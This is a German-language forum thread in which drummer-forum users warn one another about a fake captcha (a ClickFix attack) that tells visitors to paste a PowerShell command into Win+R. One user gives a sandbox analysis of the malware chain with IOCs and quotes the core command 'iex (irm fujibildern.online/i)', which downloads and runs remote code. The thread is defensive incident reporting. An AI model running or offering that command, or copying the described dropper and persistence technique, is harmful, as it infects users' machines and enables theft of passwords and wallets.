Warnung! Captcha fordert auf drummerforum.de zum Ausführen einer Powershell auf dem PC auf (sieht gefährlich aus)

Ja, hatte ich auch.

Gemini meint:

"Drücken Sie die Tastenkombination Strg + F5 (unter Windows) bzw. Cmd + Shift + R (unter macOS). Dadurch wird ein kompletter Hard Refresh erzwingt, der die Seite neu vom Server lädt und alte Daten verwirft.

Alternativ (Gründlicher): Gehen Sie in Ihrem Browser in die Einstellungen -> Datenschutz und Sicherheit -> Browserdaten löschen und löschen Sie gezielt den Cache und die Cookies für drummerforum.de.Verification: Nach dem Neuladen der Seite darf das künstliche "Ich bin kein Roboter"-Fenster mit der Aufforderung zum Drücken von Tastenkombinationen nicht mehr auftauchen."

fwdrums

Nur Javascript deaktivieren konnte bei mir dieses capctha ausblenden. Klassischer ClickFix Angriff, z.B. über eine Werbeanzeige oder eine SIcherheitslücke eingeschleustes Javascript.

Kam bei mir eben auch.

Nach mehrerem aktualisieren war die Meldung weg.

Jep, fake captcha, passt auf Leute! Ja nix in die Powershell geben.
Was das Ding kopieren will sieht so aus:

bei mir kam nix, windoof-rechner... aber ich bin immer automatisch eingeloggt, vielleicht kommt das nur, wenn man sich immer wieder ausloggt?

Ich habs auf dem Rechner aber nicht auf dem Mobilgerät.

Ich musste auch 2x machen. Jetzt ist es weg.

Hat sich jetzt was auf meinem Rechner installiert?

Muss ich was machen???

Ich habe das mal schnell in einer Sandbox analysiert und eine kurze Zusammenfassung (mit Hilfe von AI ) erstellt was das Teil tun wollte. Es scheint nur WIndows Systeme als Ziel zu haben, das Ganze funktioniert so nicht auf anderen Plattformen.

Short version:

1. Lure. A fake “verify you’re human” page copies a command to your clipboard and tells you to paste it into Win+R.
2. Clipboard command. Obfuscated PowerShell that boils down to iex (irm fujibildern.online/i): download a script and run it in memory.
3. Dropper (/i/). Writes %TEMP%\DrvUpdate_*.ps1 and runs it hidden through a scheduled task that deletes itself, which hides where it came from.
4. Installer. Waits 20 seconds, downloads a ZIP from /g.php, extracts it to a random folder in your user profile, deletes the ZIP, and launches GitHubDesktop.exe through a DriverUpdate* task.
5. Payload. A real GitHub Desktop (Electron) app with its code swapped for malicious Node.js. It profiles the PC (name, machine ID, location), sets up autostart in the registry, and checks in with ppretty-pictures.blog, its command server.

Likely goal: stealing passwords, cookies, and crypto wallets, or remote control. The exact family is unknown.

Key IOCs: fujibildern.online, ppretty-pictures.blog, GitHubDesktop.exe in a random user folder, scheduled tasks named DriverUpdate*.

Falls das irgendwer gemacht hat trennt sofort euren Windows Rechner vom Internet. Ich kann bei Bedarf Infos nachreichen auf was man achten sollte falls man glaubt man könnte da reingefallen sein. Solang man aber nichts in dieses Fenster mit WIndows + R reinkopiert hat, sollte aber auch nix passiert sein.

lg

Zitat von DRUMmaniac

Hat sich jetzt was auf meinem Rechner installiert?

Muss ich was machen???

Nur wenn du der Anleitung in dem Fake Captcha auch gefolgt bist und was ausgeführt hast, sonst nein.

lg

burned_destroyer Es wäre sehr cool, wenn Du da etwas mehr drin bist, ne Anleitung zum Löschen zu erstellen.

Mich hat schon eine Nachricht von einem User erreicht, der das wohl ausgefüllt hat...

Und hat jemand die Nummer von einem Admin von hier??? Den sollte man schleunigst telefonisch oder wie auch immer erreichen, dass er das fixt oder die Seite vom Netz nimmt.